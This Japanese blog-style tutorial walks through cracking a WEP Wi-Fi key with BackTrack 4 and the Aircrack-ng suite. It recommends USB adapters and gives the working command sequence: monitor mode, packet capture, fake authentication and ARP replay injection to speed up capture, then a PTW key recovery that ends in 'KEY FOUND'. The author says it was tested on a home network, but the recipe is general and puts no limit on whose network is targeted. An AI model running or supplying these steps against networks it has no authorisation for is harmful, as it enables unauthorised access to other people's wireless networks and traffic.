NET活用局

WINXP　SP2　DL
WINXP　SP3　DL
WINVISTA　SP1　DL
WINVISTA SP2  DL

必要な物

１ 対応の無線ＬＡＮチップ

2Linuxのディストリビューション（簡単に言えばＯＳ）　

 

お勧めは、backtorack4 です。
こちらはboot可能で、既にAircrack-ngがインストール済み。
自分の環境では、ＵＳＢの無線アダプタが設定なしに使えました。

backtorack4

http://www.remote-exploit.org/backtrack_download.html


まずbacktrack4をＣＤから起動します。

上記の様な画面になったら、取りあえず一番上のstart backtrack frame buffer で　ＥＮＴＥＲキーを押し
その後、ログイン画面に移行します。

root@bt という表記に移動をしたら
startxとコマンドを打てば、デスクトップが起動します。

起動したら、ターミナルを立ち上げて

コマンド

airmon-ng start wlan0

と打ちます。

ここで、無線アダプタのチップが出てなければ、対応外か別途インストールの可能性があります。

自分が確認をし、ひとまず設定なしで使えたものは、


ＧＷ−ＵＳ５４ＧＸＳ

と

CG-WLUSB2GPX
です。
もし設定をする場合だと少しややこしいのでＬＩＮＵＸ初心者の方は、お勧め出来ません。

他の手持ちのaterm WL54SU2とＧＷ−ＵＳ３００MINISは認識しませんでした。

ＧＷ−ＵＳ５４ＧＸＳは１１００円と値段的に手ごろなので、お勧め出来ます。
その代わりにaireplayが使えないので、時間は掛かると思います。使えるのはモニタのみです。
ネットをしながら解析の場合は、ＧＷ−ＵＳ５４ＧＸＳでも大丈夫だと思います。
ネットをしなくて解析の場合はCG-WLUSB2GPXの方がいいかと・・・

それ以外の場合だとドライバ対応表です。

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

自分が使ってるチップを調べて、ドライバにパッチをあててください。
その後認識をしたら、

コマンド

airodump-ng wlan1


このコマンドは、周囲の無線の様子を監視します。
コマンドを打つと、モニタリングが始まり、しばらく立つと、出てきます。
ここで一通りモニタリングで出てきたら、ＣＴＲＬキーとＣを押し、プログラムを止めます。
これで、ＢＳＳＩＤ　チャンネル、ＳＳＩＤをメモをし、次に

airodump-ng -c (チャンネル) -w rite --bssid （無線ルーターのＭＡＣアドレス） wlan0

モニタリングのみの場合は、このまま放置してれば大丈夫です。
パケットの溜りが遅い場合や、早く解析したい場合は、無理やりパケットを出させるようにも出来ます。ＧＷ−ＵＳ５４ＧＸＳでは無理でした。

新たに、ターミナルを立ち上げて

コマンド

aireplay-ng -1 0 -a （無線ルータのMACアドレス）　-h （自分の無線アダプタのＭＡＣアドレス） -e （ESSID） wlan0

これで、無線ルーターにぶら下がりです。
そしてそれから、aireplay-ng -3 -b （無線ルーターのＭＡＣアドレス） -h （自分のmacアドレス） mon0と打ちます。

うまく機能したら必要なパケット（ＤＡＴＡ）の部分が増えていってると思います。
大体４万くらい溜まったら、
コマンド
aircrack-ng -ｚ　-b (無線ルーターのマックアドレス） rite-*.cap

解析に完了したら、

KEY FOUND　＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊


と１６進数で出ます。


*-z　このコマンドはaircrack-ptwと同じになる為比較的少ないパケットで解析できるようになるので
入れてた方が無難です。

自分の家の環境では、４万パケットで解析できました。
環境により動作は変わるかもしれません。
ＷＰＡとWindows版、ＰＳＰ版のは確認しときます。